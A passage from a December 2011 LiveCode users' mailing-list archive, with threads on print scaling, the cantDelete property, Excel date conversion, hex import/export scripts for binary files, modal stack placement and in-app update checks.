StuffIt Deluxe for free In-Reply-To: References: Message-ID: Somethings to know: The free Deluxe involves registering for their store. Stuffit Expander continues to be free, and solves the support for opening old archives. You can use the system to compress to zip going forward. From mikekann at yahoo.com Thu Dec 15 22:51:03 2011 From: mikekann at yahoo.com (Michael Kann) Date: Thu, 15 Dec 2011 19:51:03 -0800 (PST) Subject: French Ears In-Reply-To: Message-ID: <1324007463.41760.YahooMailClassic@web161603.mail.bf1.yahoo.com> Thierry, That is an amazing website. http://www.linguee.fr/francais-anglais Thanks for the heads up. Mike P.S. I tried out "thanks for the heads up." Here's one result: This matter has since been rectified, thanks to the heads up they got from the Newsletter. Il a donc corrig? le probl?me, qui a ?t? port? ? son attention gr?ce au bulletin de l'Office --- On Thu, 12/15/11, Thierry Douez wrote: From: Thierry Douez Subject: Re: French Ears To: "How to use LiveCode" Date: Thursday, December 15, 2011, 7:19 PM 2011/12/15 Francis Nugent Dixon Hi from a very French Brittany, > > Thierry wrote : > > >? I hadn't heard the expression "tonic accent" before either. >>> >> >> I've always used the expression "sentence stress" (or word stress), >> >>> >>>? In French we call it: "Accent tonique" >> >> So, guess it was a word to word translation. >> > > > Merci, Thierry pour m'avoir sorti de la m***e > pas de problemes :) For this, I have a good friend : ? ? ? http://www.linguee.fr/francais-anglais Very powerful and easy to use. HTH, Thierry _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Thu Dec 15 23:23:05 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 15 Dec 2011 22:23:05 -0600 Subject: Pages per Sheet setting for open printing to pdf In-Reply-To: <4EEAACC6.2050707@tpg.com.au> References: <4EEAACC6.2050707@tpg.com.au> Message-ID: <4EEAC7A9.4070109@hyperactivesw.com> On 12/15/11 8:28 PM, gmcrev wrote: > I am wondering whether it would be useful to request for a new command > that would set the number of pages per sheet for printing. > ie. 2 A4 pages would be reduced and printed on 1 A4 page. I can't seem > to find any livecode commands to do this. You can use the "into rect" form of the print command: print this card into l,r,t,b -- put some pixel numbers there Printing into a specified rectangle automatically scales the card image to fit. You'd need to calculate the rectangles that encompass the top half and the bottom half. Then open printing, print one card into the top rect, the second card into the bottom rect, then print a break. The break forces a new page. Pseudo-sorta-code: put "18,18,594,374" into tTopRect put "18,380,594,752" into tBottomRect open printing -- with dialog, if you want print card 1 into tTopRect print card 2 into tBottomRect print break -- repeat that for each pair of cards close printing -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu Dec 15 23:34:45 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 15 Dec 2011 22:34:45 -0600 Subject: cantDelete In-Reply-To: <197459958984.20111215181132@ahsoftware.net> References: <197459958984.20111215181132@ahsoftware.net> Message-ID: <4EEACA65.8070909@hyperactivesw.com> On 12/15/11 8:11 PM, Mark Wieder wrote: > All- > > Am I missing something here? This might be one of those in-the-running > stupid moments. Does setting the cantDelete property of a stack > actually do anything? > > I thought it prevented a mainstack from being removed from memory with > a delete command, but it doesn't do that. I've read the documentation > a couple of times now and I can't see what I'm missing. It doesn't look like the docs even address that. It talks about what deletion does, but not what cantdelete does when referencing a mainstack. Maybe it's only good for substacks, and prevents them from being removed from the stack file? > > Second question: since cantDelete doesn't do what I want, is there a > different way to prevent the delete function from removing a mainstack > from memory? What I'm trying to do is keep a stack in memory even if > the following is executed > > put the openstacks into tStacks > repeat for each line tStack in tStacks > delete stack tStack > end repeat > Aside from polling and re-opening the stack, I can't think of a way. But the cantdelete behavior sounds close enough to a bug that you might want to report it. If it isn't a bug, maybe it could be a feature request. Your expectations seem reasonable. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From katir at hindu.org Thu Dec 15 23:39:19 2011 From: katir at hindu.org (Web Admin Himalayan Academy) Date: Thu, 15 Dec 2011 18:39:19 -1000 Subject: [OT] Ghostery In-Reply-To: References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> Message-ID: <4EEACB77.8060703@hindu.org> Ditto that... and, is it just a placebo effec?t or am I actually seeing Fire Fox is even loading pages faster now that I blocked everything. It feel like I'm not getting those delays as those widgets are downloading their JS and talking to their motherships in the background. On Tue Dec 13 15:31:00 2011, Pete wrote: > Thanks for introducing me to Ghostery - it's opened up a whole new world of > tracking that I had no idea was going on. A lot of sites use Google > Analytics of course and I'm not inclined to block that since I've used it > myself and found it very useful. I don;t believe it keeps anything more > intrusive than geographical data, but I could be wrong. From katir at hindu.org Thu Dec 15 23:40:26 2011 From: katir at hindu.org (Sivakatirswami) Date: Thu, 15 Dec 2011 18:40:26 -1000 Subject: [OT] Ghostery In-Reply-To: References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> Message-ID: <4EEACBBA.2070809@hindu.org> Ditto that... and, is it just a placebo effect or am I actually seeing Fire Fox is even loading pages faster now that I blocked everything? It feel like I'm not getting those delays as those widgets are downloading their JS and talking to their motherships in the background. On Tue Dec 13 15:31:00 2011, Pete wrote: > > Thanks for introducing me to Ghostery - it's opened up a whole new > world of > tracking that I had no idea was going on. A lot of sites use Google > Analytics of course and I'm not inclined to block that since I've used it > myself and found it very useful. I don;t believe it keeps anything more > intrusive than geographical data, but I could be wrong. -- Om Shanti Sivakatirswami Kauai Aadheenam From curry at pair.com Fri Dec 16 00:16:33 2011 From: curry at pair.com (Curry Kenworthy) Date: Thu, 15 Dec 2011 23:16:33 -0600 Subject: Convert Excel date In-Reply-To: References: Message-ID: <4EEAD431.8050008@pair.com> > Dates are displayed in numbers. (1/01/1900 = 1 so today = 40892) > Is there a script to convert it in a real date with livecode ? I'm working on an Excel importer library, so I've been doing dates as well. Date conversion and Excel-style date/number formatting options are needed anyway behind the scenes for import, so my plan is to make them available as functions too. (I will also support dates further back on Windows, if LiveCode doesn't extend the built-in range.) Best wishes, Curry K. From dunbarx at aol.com Fri Dec 16 00:17:44 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 16 Dec 2011 00:17:44 -0500 (EST) Subject: Convert Excel date In-Reply-To: <7C15907F-37B5-4A3C-AE62-4635B4B4C0C9@laposte.net> References: <7C15907F-37B5-4A3C-AE62-4635B4B4C0C9@laposte.net> Message-ID: <8CE89C92D3C4C25-C5C-C4D14@Webmail-d107.sysops.aol.com> The following is very verbose. I just want you to be able to follow one possible method step by step. Read up on all the commands in the dictionary. Put a breakpoint near the beginning. on mouseup convert the date to seconds put "40892" & "," & it into baseLine ask "Enter excel date" put it - item 1 of baseLine into dayOffset put dayOffset * 86400 into newSeconds add newSeconds to item 2 of baseLine convert item 2 of baseline to date answer item 2 of baseLine end mouseup Craig Newman -----Original Message----- From: Ludovic Th?bault To: How to use LiveCode Sent: Thu, Dec 15, 2011 12:31 am Subject: Convert Excel date Hello, I've a csv file created by excel. Dates are displayed in numbers. (1/01/1900 = 1 so today = 40892) Is there a script to convert it in a real date with livecode ? Thanks ! _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Fri Dec 16 01:34:55 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 22:34:55 -0800 Subject: cantDelete In-Reply-To: <4EEACA65.8070909@hyperactivesw.com> References: <197459958984.20111215181132@ahsoftware.net> <4EEACA65.8070909@hyperactivesw.com> Message-ID: <8475761343.20111215223455@ahsoftware.net> Jacque- Thursday, December 15, 2011, 8:34:45 PM, you wrote: > Aside from polling and re-opening the stack, I can't think of a way. But > the cantdelete behavior sounds close enough to a bug that you might want > to report it. If it isn't a bug, maybe it could be a feature request. > Your expectations seem reasonable. (sigh) I was rather afraid of that. Bug 9918 has been entered. I'm trying to keep a stack that's in memory but not open at the time from being deleted by the IDE's revPluginEditor stack. -- -Mark Wieder mwieder at ahsoftware.net From gmcrev at tpg.com.au Fri Dec 16 03:55:37 2011 From: gmcrev at tpg.com.au (gmcrev) Date: Fri, 16 Dec 2011 19:55:37 +1100 Subject: Pages per Sheet setting for open printing to pdf Message-ID: <4EEB0789.8040000@tpg.com.au> Thanks for the reply Jacquelin. However I was using revPrintText to print HtmlText via open printing to pdf. I would like to pdf print the equivalent of 2 A4 pages on 1 A4 sheet. Any ideas how this would work? From livfoss at mac.com Fri Dec 16 05:23:57 2011 From: livfoss at mac.com (Graham Samuel) Date: Fri, 16 Dec 2011 11:23:57 +0100 Subject: Location of a modal stack In-Reply-To: References: Message-ID: <0A557BA7-1389-4CF3-A093-0146FC29EE1F@mac.com> Ken, it always amazes me how much you know! I have already incorporated a slightly earlier version of your solution (only difference was it didn't use a custom property) and it worked fine: the news to me was that > modal stacks are by default set to be centered over the stack that calls it My problem was that I have a library stack that handles all my input and output, so the 'answer file' etc dialogs, and my home-grown ones too, come from there - I never think of this stack has having a location at all, since it's just a depository for scripts - at present its location is just the one it was given by the IDE when it was created. So for me the trick is probably to make sure that the loc of this library stack (which the user never sees) is the same as the loc of the main window which my user does see (this is an app that fills the screen on the basis of 'the working screenrect'). If as I am fairly sure is true, the documentation doesn't mention this issue, I will suggest a note in the docs or the dictionary, if I can think of a good place to put it! Thanks again Graham On Thu, 15 Dec 2011 12:11:08 -0600, Ken Ray wrote: > On Dec 15, 2011, at 10:49 AM, Graham Samuel wrote: > >> It seems I messed up my search of this list - when I did it again, I did find some correspondence about this and a possible workaround from Ken Ray for dealing with the problem as it occurs in 'standard' dialogs, such as the 'answer' one, although I haven't followed it all up yet. >> >> OTOH that conversation makes me think much more firmly that it's a bug: why on earth shouldn't one be able to set the location of **any** stack? Why does the engine bother to fight against it? In fact, why can't we say >> >> open stack "MyStack" at ? > > You *can* set the location of any stack, but unfortunately modal stacks are by default set to be centered over the stack that calls it (why? not sure?). So to get around it, you would need to set the loc in the preOpenStack of the stack that is going to be modal. If you want to specify it from somewhere else, you could do this: > > on mouseUp > set the uLoc of stack "MyModalStack" to 100,100 > modal "MyModalStack" -- or 'open stack "MyModalStack" as modal' > end mouseUp > > -- script of stack "MyModalStack" > on preOpenStack > if the uLoc of this stack <> "" then > set the loc of this stack to (the uLoc of this stack) > set the uLoc of this stack to "" > end if > end preOpenStack > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ From m.schonewille at economy-x-talk.com Fri Dec 16 07:54:24 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 16 Dec 2011 13:54:24 +0100 Subject: Ann: Installer Maker Plugin 1.7 for LiveCode with 16 new features In-Reply-To: <40F9D42B-9C23-4A9E-8757-ACA981502A43@economy-x-talk.com> References: <2A8CD38E-A56B-4C31-B5B0-DCA43D1CFFBB@economy-x-talk.com> <40F9D42B-9C23-4A9E-8757-ACA981502A43@economy-x-talk.com> Message-ID: Hi everyone, I was notified today that the link to the full installer of the Installer Maker Plugin on the Economy-x-Talk website directed to an old version. The web installer directed to the new Installer Maker 1.7, but the full installer still contained version 1.6. If you downloaded the full installer of the Installer Maker Plugin recently, please head over to http://qery.us/za and download it again. Apologies for the trouble. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From capellan2000 at gmail.com Fri Dec 16 08:03:25 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 16 Dec 2011 05:03:25 -0800 (PST) Subject: Scripts for reading and writing binary files Message-ID: <1324040605345-4204548.post@n4.nabble.com> Hi all, Recently, I had to test and modify some binary files, so digging in my own stacks, I found these scripts: [WARNING: The script on step 3, OVERWRITE the original file. If you do not want this, simply change the path and/or name of the file] 1) create a field to hold the converted binary to hexadecimal data. Set the name of this field to: "tHex" 2) Create a button named "Import" to hold the following script: ---------------------------------------------------- global tFile on mouseUp answer file "select" if it is not empty then put "binfile:"&it into tFile put url tFile into tData -- convert binary data to Hexadecimal repeat for each char n in tData put chartonum(n) into nft put baseconvert(nft,10,16) into kjh if the number of chars of kjh < 2 then put "0" before kjh put kjh & space after cdf end repeat put cdf into fld "tHex" end mouseUp ----------------------------------------------------- Now, you have the field "tHex" with Hexadecimal numbers, like these: 46 57 53 03 4F 00 00 00 78 00 05 5F 00 00 0F A0 00 00 0C 01 00 43 02 FF FF FF BF 00 23 00 00 00 01 00 70 FB 49 97 0D 0C 7D 50 00 01 14 00 00 00 00 01 25 C9 92 0D 21 ED 48 87 65 30 3B 6D E1 D8 B4 00 00 86 06 06 01 00 01 00 00 40 00 00 00 After you make all the modifications to the file (using hexadecimal), save it back as a binary file: 3) Create a button named "Export" and paste this script: ------------------------------------------------------ global tFile on mouseUp put fld "tHex" into tData repeat for each word n in tData put numtochar(baseconvert(n,16,10)) after tBinary end repeat put tBinary into url tFile end mouseUp ------------------------------------------------------ Thanks in advance for your opinions and comments! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4204548.html Sent from the Revolution - User mailing list archive at Nabble.com. From paul at researchware.com Fri Dec 16 08:26:05 2011 From: paul at researchware.com (Paul Dupuis) Date: Fri, 16 Dec 2011 08:26:05 -0500 Subject: Scripts for reading and writing binary files In-Reply-To: <1324040605345-4204548.post@n4.nabble.com> References: <1324040605345-4204548.post@n4.nabble.com> Message-ID: <4EEB46ED.9090606@researchware.com> Of course, now if you use these scripts, you should replace 'char' with 'byte' for the eventual day the two are no longer synonymous. On 12/16/2011 8:03 AM, Alejandro Tejada wrote: > Hi all, > > Recently, I had to test and modify some binary files, > so digging in my own stacks, I found these scripts: > > [WARNING: The script on step 3, OVERWRITE the > original file. If you do not want this, simply > change the path and/or name of the file] > > 1) create a field to hold the converted > binary to hexadecimal data. > Set the name of this field to: "tHex" > > 2) Create a button named "Import" to hold > the following script: > ---------------------------------------------------- > global tFile > > on mouseUp > answer file "select" > if it is not empty then > put "binfile:"&it into tFile > put url tFile into tData > -- convert binary data to Hexadecimal > repeat for each char n in tData > put chartonum(n) into nft > put baseconvert(nft,10,16) into kjh > if the number of chars of kjh < 2 then put "0" before kjh > put kjh & space after cdf > end repeat > put cdf into fld "tHex" > end mouseUp > ----------------------------------------------------- > Now, you have the field "tHex" with Hexadecimal numbers, > like these: > > 46 57 53 03 4F 00 00 00 78 00 05 5F 00 00 0F A0 > 00 00 0C 01 00 43 02 FF FF FF BF 00 23 00 00 00 > 01 00 70 FB 49 97 0D 0C 7D 50 00 01 14 00 00 00 > 00 01 25 C9 92 0D 21 ED 48 87 65 30 3B 6D E1 D8 > B4 00 00 86 06 06 01 00 01 00 00 40 00 00 00 > > After you make all the modifications to > the file (using hexadecimal), save it > back as a binary file: > > 3) Create a button named "Export" > and paste this script: > > ------------------------------------------------------ > global tFile > > on mouseUp > put fld "tHex" into tData > > repeat for each word n in tData > put numtochar(baseconvert(n,16,10)) after tBinary > end repeat > > put tBinary into url tFile > end mouseUp > ------------------------------------------------------ > > Thanks in advance for your > opinions and comments! > > Al > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4204548.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Paul Dupuis Cofounder Researchware, Inc. http://www.researchware.com/ http://www.twitter.com/researchware http://www.facebook.com/researchware http://www.linkedin.com/company/researchware-inc From capellan2000 at gmail.com Fri Dec 16 10:12:49 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 16 Dec 2011 07:12:49 -0800 (PST) Subject: Scripts for reading and writing binary files In-Reply-To: <4EEB46ED.9090606@researchware.com> References: <1324040605345-4204548.post@n4.nabble.com> <4EEB46ED.9090606@researchware.com> Message-ID: <1324048369074-4204971.post@n4.nabble.com> Hi Paul, Paul Dupuis wrote > > Of course, now if you use these scripts, you should replace 'char' with > 'byte' for the eventual day the two are no longer synonymous. > That would be after RunRev change all text functions, commands and properties to work only in Unicode. Thanks for adding this important caveat. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4204971.html Sent from the Revolution - User mailing list archive at Nabble.com. From mikekann at yahoo.com Fri Dec 16 10:15:55 2011 From: mikekann at yahoo.com (Michael Kann) Date: Fri, 16 Dec 2011 07:15:55 -0800 (PST) Subject: Scripts for reading and writing binary files In-Reply-To: <1324040605345-4204548.post@n4.nabble.com> Message-ID: <1324048555.29600.YahooMailClassic@web161604.mail.bf1.yahoo.com> Extremely useful. Thanks. Michael --- On Fri, 12/16/11, Alejandro Tejada wrote: From: Alejandro Tejada Subject: Scripts for reading and writing binary files To: use-revolution at lists.runrev.com Date: Friday, December 16, 2011, 7:03 AM Hi all, Recently, I had to test and modify some binary files, so digging in my own stacks,? I found these scripts: [WARNING: The script on step 3, OVERWRITE the original file. If you do not want this, simply change the path and/or name of the file] 1) create a field to hold the converted binary to hexadecimal data. Set the name of this field to: "tHex" 2) Create a button named "Import" to hold the following script: ---------------------------------------------------- global tFile on mouseUp ? answer file "select" ? if it is not empty then ? ? put "binfile:"&it into tFile ? ? ? put url tFile into tData ? ? ? -- convert binary data to Hexadecimal ? ? ? repeat for each char n in tData ? ? ? ? put chartonum(n) into nft ? ? ? ? put baseconvert(nft,10,16) into kjh ? ? ? ? if the number of chars of kjh < 2 then put "0" before kjh ? ? ? ? put kjh & space after cdf ? ? ? end repeat ? ? ? put cdf into fld "tHex" end mouseUp ----------------------------------------------------- Now, you have the field "tHex" with Hexadecimal numbers, like these: 46 57 53 03 4F 00 00 00 78 00 05 5F 00 00 0F A0 00 00 0C 01 00 43 02 FF FF FF BF 00 23 00 00 00 01 00 70 FB 49 97 0D 0C 7D 50 00 01 14 00 00 00 00 01 25 C9 92 0D 21 ED 48 87 65 30 3B 6D E1 D8 B4 00 00 86 06 06 01 00 01 00 00 40 00 00 00 After you make all the modifications to the file (using hexadecimal), save it back as a binary file: 3) Create a button named "Export" and paste this script: ------------------------------------------------------ global tFile on mouseUp put fld "tHex" into tData repeat for each word n in tData put numtochar(baseconvert(n,16,10)) after tBinary end repeat put tBinary into url tFile end mouseUp ------------------------------------------------------ Thanks in advance for your opinions and comments! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4204548.html Sent from the Revolution - User mailing list archive at Nabble.com. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From capellan2000 at gmail.com Fri Dec 16 10:26:01 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 16 Dec 2011 07:26:01 -0800 (PST) Subject: Scripts for reading and writing binary files In-Reply-To: <1324048555.29600.YahooMailClassic@web161604.mail.bf1.yahoo.com> References: <1324040605345-4204548.post@n4.nabble.com> <1324048555.29600.YahooMailClassic@web161604.mail.bf1.yahoo.com> Message-ID: <1324049161958-4205026.post@n4.nabble.com> Hi Michael, Michael Kann wrote > > Extremely useful. Thanks. > You are welcome! I received the request to include a function for alerting about the file size, before opening it. Additional ideas to make this more useful? Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4205026.html Sent from the Revolution - User mailing list archive at Nabble.com. From ludovic.thebault at laposte.net Fri Dec 16 10:28:29 2011 From: ludovic.thebault at laposte.net (=?iso-8859-1?Q?Ludovic_Th=E9bault?=) Date: Fri, 16 Dec 2011 16:28:29 +0100 Subject: Convert Excel date In-Reply-To: <8CE89C92D3C4C25-C5C-C4D14@Webmail-d107.sysops.aol.com> References: <7C15907F-37B5-4A3C-AE62-4635B4B4C0C9@laposte.net> <8CE89C92D3C4C25-C5C-C4D14@Webmail-d107.sysops.aol.com> Message-ID: <9C7BB38D-8C37-47F5-8523-5B44B8D59433@laposte.net> Thanks for your help ! From m.schonewille at economy-x-talk.com Fri Dec 16 10:41:19 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 16 Dec 2011 16:41:19 +0100 Subject: Broken Message-ID: <56011176-8011-4718-8DC7-3510FE045254@economy-x-talk.com> Hi, Did anyone else notice that the menubar shortcuts in LiveCode 5.0.2 are broken? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From mikekann at yahoo.com Fri Dec 16 12:16:53 2011 From: mikekann at yahoo.com (Michael Kann) Date: Fri, 16 Dec 2011 09:16:53 -0800 (PST) Subject: Scripts for reading and writing binary files In-Reply-To: <1324049161958-4205026.post@n4.nabble.com> Message-ID: <1324055813.57882.YahooMailClassic@web161606.mail.bf1.yahoo.com> Alejandro, It might be helpful to extract any ASCII text which is embedded in the binary. Then you can see what kind of file you're working with. Example: Standard MIDI music files have the ASCII code for "MThd" (4D?54?68?64) Overview here: http://en.wikipedia.org/wiki/Magic_number_%28programming%29 Thanks again, Mike --- On Fri, 12/16/11, Alejandro Tejada wrote: From: Alejandro Tejada Subject: Re: Scripts for reading and writing binary files To: use-revolution at lists.runrev.com Date: Friday, December 16, 2011, 9:26 AM Hi Michael, Michael Kann wrote > > Extremely useful. Thanks. > You are welcome! I received the request to include a function for alerting about the file size, before opening it. Additional ideas to make this more useful? Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4205026.html Sent from the Revolution - User mailing list archive at Nabble.com. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Fri Dec 16 12:26:29 2011 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 16 Dec 2011 19:26:29 +0200 Subject: [OT] StuffIt Deluxe for free In-Reply-To: References: Message-ID: <4EEB7F45.6030507@gmail.com> On 12/16/2011 04:41 AM, Mark Schonewille wrote: > Hi guys. > > Although this is a completely obsolete product nowadays, there may still be people who have some old .sit files laying around. If you do, you might be happy to know that StuffIt Deluxe is available for free until 18 December. Get it here http://qery.us/1ej . Thanks............ But I use Stuffit expander from way-back-when. But, then, being a bit a*al, I have software backed up from 1992. > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From livfoss at mac.com Fri Dec 16 12:38:41 2011 From: livfoss at mac.com (Graham Samuel) Date: Fri, 16 Dec 2011 18:38:41 +0100 Subject: Location of a modal stack In-Reply-To: References: Message-ID: <6F67E21D-10DF-41E0-B575-02F27555232A@mac.com> It seems that the calling stack has to be open to influence the location of a modal stack, so my scheme of setting the location of my library stack before invoking a dialog box didn't seem to work - normally there is no reason to open a library stack if it's just a repository for a script put into the message path by a 'start using' command. After I added open invisible stack "MyLibraryStack" before set the loc of stack "MyLibraryStack" to the screenLoc before calling up any dialog boxes, then it appeared to work OK, almost? for some reason the first 'answer file' to be uninfluenced by anything I do (at least in my environment, which is Windows XP Home running on Parallels 7 on a Mac). Can anyone confirm/explain this, or have I got into even more obscure corners of LC? TIA Graham I wrote: > Ken, it always amazes me how much you know! I have already incorporated a slightly earlier version of your solution (only difference was it didn't use a custom property) and it worked fine: the news to me was that > >> modal stacks are by default set to be centered over the stack that calls it > > My problem was that I have a library stack that handles all my input and output, so the 'answer file' etc dialogs, and my home-grown ones too, come from there - I never think of this stack has having a location at all, since it's just a depository for scripts - at present its location is just the one it was given by the IDE when it was created. So for me the trick is probably to make sure that the loc of this library stack (which the user never sees) is the same as the loc of the main window which my user does see (this is an app that fills the screen on the basis of 'the working screenrect'). > > If as I am fairly sure is true, the documentation doesn't mention this issue, I will suggest a note in the docs or the dictionary, if I can think of a good place to put it! From revdev at pdslabs.net Fri Dec 16 13:26:35 2011 From: revdev at pdslabs.net (Phil Davis) Date: Fri, 16 Dec 2011 10:26:35 -0800 Subject: Location of a modal stack In-Reply-To: <6F67E21D-10DF-41E0-B575-02F27555232A@mac.com> References: <6F67E21D-10DF-41E0-B575-02F27555232A@mac.com> Message-ID: <4EEB8D5B.7020601@pdslabs.net> Hi Graham, This isn't an answer to your question, but try setting the loc of the modal stack in a 'preOpenStack' handler in the modal stack's card 1 script. That works. You could probably 'conditionalize' it by saying on preOpenStack if the mode of this stack = 5 then set the loc of this stack to the screenLoc end preOpenStack Phil On 12/16/11 9:38 AM, Graham Samuel wrote: > It seems that the calling stack has to be open to influence the location of a modal stack, so my scheme of setting the location of my library stack before invoking a dialog box didn't seem to work - normally there is no reason to open a library stack if it's just a repository for a script put into the message path by a 'start using' command. After I added > > open invisible stack "MyLibraryStack" > > before > > set the loc of stack "MyLibraryStack" to the screenLoc > > before calling up any dialog boxes, then it appeared to work OK, almost? for some reason the first 'answer file' to be uninfluenced by anything I do (at least in my environment, which is Windows XP Home running on Parallels 7 on a Mac). > > Can anyone confirm/explain this, or have I got into even more obscure corners of LC? > > TIA > > Graham > > > > I wrote: > >> Ken, it always amazes me how much you know! I have already incorporated a slightly earlier version of your solution (only difference was it didn't use a custom property) and it worked fine: the news to me was that >> >>> modal stacks are by default set to be centered over the stack that calls it >> My problem was that I have a library stack that handles all my input and output, so the 'answer file' etc dialogs, and my home-grown ones too, come from there - I never think of this stack has having a location at all, since it's just a depository for scripts - at present its location is just the one it was given by the IDE when it was created. So for me the trick is probably to make sure that the loc of this library stack (which the user never sees) is the same as the loc of the main window which my user does see (this is an app that fills the screen on the basis of 'the working screenrect'). >> >> If as I am fairly sure is true, the documentation doesn't mention this issue, I will suggest a note in the docs or the dictionary, if I can think of a good place to put it! > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From jacque at hyperactivesw.com Fri Dec 16 14:01:39 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 16 Dec 2011 13:01:39 -0600 Subject: Pages per Sheet setting for open printing to pdf In-Reply-To: <4EEB0789.8040000@tpg.com.au> References: <4EEB0789.8040000@tpg.com.au> Message-ID: <4EEB9593.2090301@hyperactivesw.com> On 12/16/11 2:55 AM, gmcrev wrote: > Thanks for the reply Jacquelin. > However I was using revPrintText to print HtmlText via open printing to > pdf. > I would like to pdf print the equivalent of 2 A4 pages on 1 A4 sheet. > Any ideas how this would work? I haven't done much with that command, but you could try setting the printScale to 0.5 before you print. That should scale the output by half. It may not give what you want though, since the width of the text block may also be half. Experiment. It's possible to do what you want, but probably not using the rev library calls. For custom print output the usual way is to handle the entire process yourself. The rev library is convenient for quick printouts, but its script just uses commands that are available in the engine and which you can use yourself. (The script snippet I posted could be easily changed to "open printing to pdf", btw.) I'll readily admit that printing in LiveCode is a pain, but you can do just about anything with it if you're willing to script everything. The usual method is to create a printing substack that is never shown, but serves as a template for printouts. The template contains fields and any other objects that need to print. A script opens the template invisibly, repeatedly fills the fields with text (or in this case, htmlText,) prints the template card, and repeats until printing is finished. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From gspearson at gmail.com Fri Dec 16 14:15:12 2011 From: gspearson at gmail.com (Graham Pearson) Date: Fri, 16 Dec 2011 14:15:12 -0500 Subject: Updating myApplication Inquiry Message-ID: <4EEB98C0.7030309@gmail.com> As I get to the point in my application to send it to a few people to test, I have in the back of my mind how would I go about updating it when I release a new version. I would think the application would check a special XML Document online someplace each time the application is ran, and if the version number is different then download the application and install it. This is what I do for my Adobe Air applications I am trying to convert over to livecode. Any Experts have a Blog Entry or How-To Guide on how to upgrade an application with little user intervention. From m.schonewille at economy-x-talk.com Fri Dec 16 14:39:28 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 16 Dec 2011 20:39:28 +0100 Subject: Updating myApplication Inquiry In-Reply-To: <4EEB98C0.7030309@gmail.com> References: <4EEB98C0.7030309@gmail.com> Message-ID: <51884FDA-0406-4316-9DEF-BD343BF3F862@economy-x-talk.com> Hi Graham, I use a simple text file on my server, which contains the latest version number and the message I want to show, as htmlText, if people have an old version, and another message, also as htmlText, which I want to show if people have the new version. My script downloads the file, checks the version numer and shows the appropriate message in an answer dialog. The answer dialog always contains a "Go to wewbsite" button and a "Cancel" button, because I want to give people an easy way to find the place where they originally downloaded the application. If somehow the file on the server can't be downloaded, then I show a default message, together with the same two buttons. Once people decide they want to download an update, they go to the website and download the installer. The installer (made with Installer Maker) simply overwrites all old files or, if you created an installer with only those files that were changed, just updates and adds files as required. It is also possible to update your application from within, using a separate update standalone, which downloads and installs your files and then starts the new application, after which the update appliction is updated. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our 